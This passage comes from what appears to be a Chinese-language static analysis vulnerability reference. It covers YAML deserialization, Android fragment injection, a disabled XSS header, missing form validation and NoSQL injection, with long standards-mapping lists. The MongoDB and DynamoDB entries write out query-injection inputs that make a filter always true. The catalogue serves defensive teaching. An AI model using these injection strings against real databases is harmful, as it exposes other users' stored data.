[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[23] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[24] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[41] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
Dynamic Code Evaluation: Unsafe YAML Deserialization
ABSTRACT
对用户控制的 YAML 流进行反序列化,可能会让攻击者有机会在服务器上执行任意代码、滥用应用程序逻辑和/或导致拒绝服务。
EXPLANATION
将对象图转换为 YAML 格式数据的 YAML 序列化库可能包括重新从 YAML 流重构对象所需的元数据。 如果攻击者可以指定要重构的对象类,并能够强制应用程序运行具有用户控制数据的任意资源库,则在 YAML 流的反序列化期间,他们也许能够执行任意代码。
RECOMMENDATIONS
如果可能,在没有验证 YAML 流的内容的情况下,请勿对不受信任的数据进行反序列化。 根据所用的 YAML 库,也许可以将反序列化过程中构造的类列入白名单。
REFERENCES
[1] INPUT-1: Validate inputs Oracle
[2] Standards Mapping - Common Weakness Enumeration CWE ID 502
[3] Standards Mapping - Common Weakness Enumeration Top 25 2019 [23] CWE ID 502
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[5] Standards Mapping - FIPS200 SI
[6] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[8] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.5.2 Input and Output Architectural Requirements, 5.5.1 Deserialization Prevention Requirements, 5.5.3 Deserialization Prevention Requirements
[9] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[10] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[11] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[12] Standards Mapping - OWASP Top 10 2010 A1 Injection
[13] Standards Mapping - OWASP Top 10 2013 A1 Injection
[14] Standards Mapping - OWASP Top 10 2017 A8 Insecure Deserialization
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[23] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[24] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[41] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
Fragment Injection
ABSTRACT
扩展 PreferenceActivity 的 Android 活动无法限制其可实例化的片段类。
EXPLANATION
恶意应用程序可调用不安全的 PreferenceActivity 并且为其提供 :android:show_fragment Intent 额外项,使其加载任意类。 恶意应用程序可使 PreferenceActivity 加载易受攻击应用程序的任意 Fragment,它在非导出活动内可正常加载,从而将应用程序暴露给攻击者。
示例 1: 以下代码无法实现用于验证是否仅加载预期片段的检查。
1 | @Override |
RECOMMENDATIONS
Google 在 Android 4.4 (KitKat) 中提供了一项新的受保护 API PreferenceActivity.isValidFragment,在片段由 PreferenceActivity 进行动态实例化前会调用该 API。 必须使用严格的白名单方法实现 isValidFragment 法,以仅允许加载预期片段。
示例 2: 以下代码实现的检查可用于验证是否仅加载预期片段。
1 | @Override |
REFERENCES
[1] Roee Hay A New Vulnerability in the Android Framework: Fragment Injection
[2] Standards Mapping - Common Weakness Enumeration CWE ID 470
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[4] Standards Mapping - FIPS200 SI
[5] Standards Mapping - General Data Protection Regulation Access Violation
[6] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[8] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[9] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[10] Standards Mapping - OWASP Top 10 2010 A1 Injection
[11] Standards Mapping - OWASP Top 10 2013 A1 Injection
[12] Standards Mapping - OWASP Top 10 2017 A1 Injection
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.4
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.8
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.8
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.8
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.8
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.8
[20] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 5.4 - Authentication and Access Control
[21] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[38] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
HTML5: Cross-Site Scripting Protection
ABSTRACT
明确禁用了可能提高 Cross-Site Scripting 攻击风险的 X-XSS-Protection 标头。
EXPLANATION
X-XSS-Protection 是指在 Internet Explorer 8 和更高版本以及 Chrome 的最新版本中自动启用的标头。将标头值设置为 false (0) 后,禁用 Cross-Site Scripting 保护功能。
可以在多个位置设置标头,并且应检查其中是否存在配置错误和恶意篡改问题。
示例:以下代码配置了受 Spring Security 保护的应用程序,以禁用 XSS 保护功能:
1 | <http auto-config="true"> |
RECOMMENDATIONS
为享有额外的安全层,请尽可能启用 XSS 保护标头。具体做法是添加包含值 “X-XSS-Protection: 1; mode=block” 的 X-XSS-Protection 标头。默认情况下,Spring Security 等框架将包含此标头。在其他情况下,确保不将其禁用。
REFERENCES
[1] IE8 Security Part IV: The XSS Filter
[2] OWASP: List of useful HTTP headers
[3] Standards Mapping - Common Weakness Enumeration CWE ID 554, CWE ID 1173
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [3] CWE ID 020
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[6] Standards Mapping - FIPS200 CM
[7] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data
[8] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[9] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.3 Input Validation Requirements, 5.1.4 Input Validation Requirements, 14.1.3 Build
[10] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[11] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[12] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[13] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[14] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[22] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[23] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[40] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
Missing Form Field Validation
ABSTRACT
应用程序未对表单数据执行任何验证。
EXPLANATION
应用程序无法验证从 Web 表单收到的数据类型。 比较好的做法是,验证收到的数据是否满足为预期数据定义的要求。
示例 1: 以下代码定义了 Spring WebFlow FormAction,它无法根据预期要求验证数据:
1 | <bean id="customerCriteriaAction" class="org.springframework.webflow.action.FormAction"> |
示例 2: 以下代码定义了 Spring WebFlow 操作状态,它无法根据预期要求验证数据:
1 | <action-state> |
RECOMMENDATIONS
比较好的做法是,始终验证收到的数据,以便确认它满足预期数据的要求。
示例 3:以下代码实现的功能与Example 1 相同,但会使用自定义验证例程来验证数据:
1 | <bean id="transferMoneyAction" class="org.springframework.webflow.action.FormAction"> |
示例 4:以下代码实现的功能与Example 2 相同,但会使用自定义验证例程来验证数据:
1 | <action-state> |
REFERENCES
[1] Standards Mapping - Common Weakness Enumeration CWE ID 108
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [3] CWE ID 020
[3] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[4] Standards Mapping - FIPS200 SI
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.1.3 Input Validation Requirements, 5.1.4 Input Validation Requirements
[7] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[8] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[9] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[10] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[11] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[15] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[18] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[19] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[25] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[26] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[36] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
NoSQL Injection: DynamoDB
ABSTRACT
通过不可信赖的数据源输入构建动态 DynamoDB 查询,攻击者就能够修改语句的含义。
EXPLANATION
发生以下情况时,DynamoDB 中会出现 NoSQL Injection 漏洞:
1.数据从一个不可信赖的数据源进入程序。
2.数据用于动态地构造 DynamoDB 查询。
示例 1:以下代码将动态地构造并执行 DynamoDB 查询,以通过给定的电子邮件地址或用户名来搜索用户及其密码。
1 | ... |
查询计划执行以下代码:
Email = :value AND Password = :password
或者
Username = :value AND Password = :password
但是,由于该查询是动态构造的,由一个常数基本查询字符串和一个用户输入字符串连接而成,因此只有在 type 仅包含任何预期值时,该查询才能正常运行。如果攻击者提供 :value = :value OR :value 等类型值,则该查询会变成:
:value = :value OR :value = :value AND Password = :password
如果添加条件 :value = :value
,where 子句的值将始终为 true,这样无论电子邮件的所有者是谁,该查询都会返回 users 集合中存储的所有条目。RECOMMENDATIONS
避免基于注入的攻击的传统方法之一是,将它们作为输入验证问题来处理,并仅接受安全值白名单中的字符。列入白名单是一种非常有效的方法,它可以强制执行严格的输入验证规则。但是,在某些情况下,可能无法轻松构造安全的白名单或验证模式。例如,虽然验证数字字段或仅包含英文字母字符的用户名非常简单,但是验证允许使用元字符的博客帖子就比较困难。
避免 DynamoDB 中的 NoSQL Injection 的最佳解决方法是,使用参数绑定而非动态字符串连接来生成查询字符串。
REFERENCES
[1] Testing for NoSQL injection OWASP
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 89, CWE ID 943
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [6] CWE ID 089
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[6] Standards Mapping - FIPS200 SI
[7] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data
[8] Standards Mapping - MISRA C 2012 Rule 1.3
[9] Standards Mapping - MISRA C++ 2008 Rule 0-3-1
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.4 Output Encoding and Injection Prevention Requirements, 5.3.5 Output Encoding and Injection Prevention Requirements
[12] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[26] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 089
[27] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 089
[28] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 089
[29] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[30] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[31] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[32] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[33] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3540.1 CAT I, APP3540.3 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002540 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Web Application Security Consortium 24 + 2 SQL Injection
[47] Standards Mapping - Web Application Security Consortium Version 2.00 SQL Injection (WASC-19)
NoSQL Injection: MongoDB
ABSTRACT
通过不可信来源的输入构建动态 MongoDB 查询,攻击者就能够修改语句的含义。
EXPLANATION
发生以下情况时,MongoDB 中会出现 NoSQL Injection 错误:
数据从一个不可信赖的数据源进入程序。
数据用于动态地构造 MongoDB 查询。
示例 1: 以下代码动态地构造并执行 MongoDB 查询,以便搜索具有特定 ID 的电子邮件。
1 | ... |
查询计划执行以下代码:
1 | this.owner == "<userName>" && this.emailId == "<emailId>" |
但是,由于这个查询是动态构造的,由一个常数基本查询字符串和一个用户输入字符串连接而成,因此只有在 emailId 不包含双引号字符时,该查询才能正常运行。 如果一个用户名为 wiley 的攻击者为 emailId输入字符串 123” || “4” != “5,则该查询会变成:
1 | this.owner == "wiley" && this.emailId == "123" || "4" != "5" |
如果添加条件 || "4" != "5"
,where 子句的值将始终为 true,这样无论电子邮件的所有者是谁,该查询都会返回 emails 集合中存储的所有条目。RECOMMENDATIONS
避免基于注入的攻击的传统方法之一是,将它们作为输入验证问题来处理,并仅接受安全值白名单中的字符。列入白名单是一种非常有效的方法,它可以强制执行严格的输入验证规则。但是,在某些情况下,可能无法轻松构造安全的白名单或验证模式。例如,虽然验证数字字段或仅包含英文字母的用户名非常简单,但是验证允许使用元字符的博客帖子就比较困难。
另一种解决方案是对不可信数据中的特殊字符进行转义。就Example 1 而言,应用程序可以在连接字符串之前将所有双引号转义为反斜杠双引号。但是,除了引号字符之外,还需要考虑其他元字符导致的负面影响。例如,在某些实现中,空字节或换行符“\n”可能会破坏查询的最初预期逻辑。
避免 MongoDB 中的 NoSQL Injection 的最佳解决方法是,使用参数绑定而非动态字符串连接来生成查询字符串。
例 2:可以按以下方式将示例 1 重写为使用参数绑定来构造该查询:
1 | ... |
REFERENCES
[1] Testing for NoSQL injection OWASP
[2] INPUT-1: Validate inputs Oracle
[3] Standards Mapping - Common Weakness Enumeration CWE ID 89, CWE ID 943
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [6] CWE ID 089
[5] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[6] Standards Mapping - FIPS200 SI
[7] Standards Mapping - General Data Protection Regulation Indirect Access to Sensitive Data
[8] Standards Mapping - MISRA C 2012 Rule 1.3
[9] Standards Mapping - MISRA C++ 2008 Rule 0-3-1
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[11] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.4 Output Encoding and Injection Prevention Requirements, 5.3.5 Output Encoding and Injection Prevention Requirements
[12] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M7 Client Side Injection
[13] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[14] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[15] Standards Mapping - OWASP Top 10 2010 A1 Injection
[16] Standards Mapping - OWASP Top 10 2013 A1 Injection
[17] Standards Mapping - OWASP Top 10 2017 A1 Injection
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[26] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 089
[27] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 089
[28] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 089
